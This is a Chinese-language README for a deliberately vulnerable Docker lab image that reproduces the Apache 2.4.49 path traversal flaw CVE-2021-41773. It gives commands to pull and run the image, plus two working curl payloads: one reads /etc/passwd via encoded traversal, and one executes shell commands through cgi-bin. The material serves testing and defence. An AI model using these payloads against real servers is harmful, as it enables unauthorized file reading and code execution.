CVE-2021-41773 Apache 路径遍历漏洞的易受攻击 Docker 镜像

该漏洞仅适用于具有特定非默认配置的 2.4.49 版本。在某些情况下，这可能导致文件读取或代码执行。

https://twitter.com/ptswarm/status/1445376079548624899

可造成文件读取的漏洞配置

可直接从 Docker Hub 拉取容器

docker pull blueteamsteve/cve-2021-41773:no-cgid

并使用以下命令执行

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

Apache 日志可通过以下命令查看，或者从上述运行命令中移除 "-dit" 以流式输出 stdio docker logs <容器ID>

文件读取 PoC

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

可造成 RCE 的漏洞配置

可直接从 Docker Hub 拉取容器

docker pull blueteamsteve/cve-2021-41773:with-cgid

并使用以下命令执行

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Apache 日志可通过以下命令查看，或者从上述运行命令中移除 "-dit" 以流式输出 stdio docker logs <容器ID>

RCE PoC

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

构建自定义 Docker 容器

使用子目录中的 dockerfile 和模板 httpd.conf 文件修改并构建你自己的版本

• 使用 ./no-cgi 配置可造成文件读取的漏洞
• 使用 ./with-cgi 配置可造成代码执行的漏洞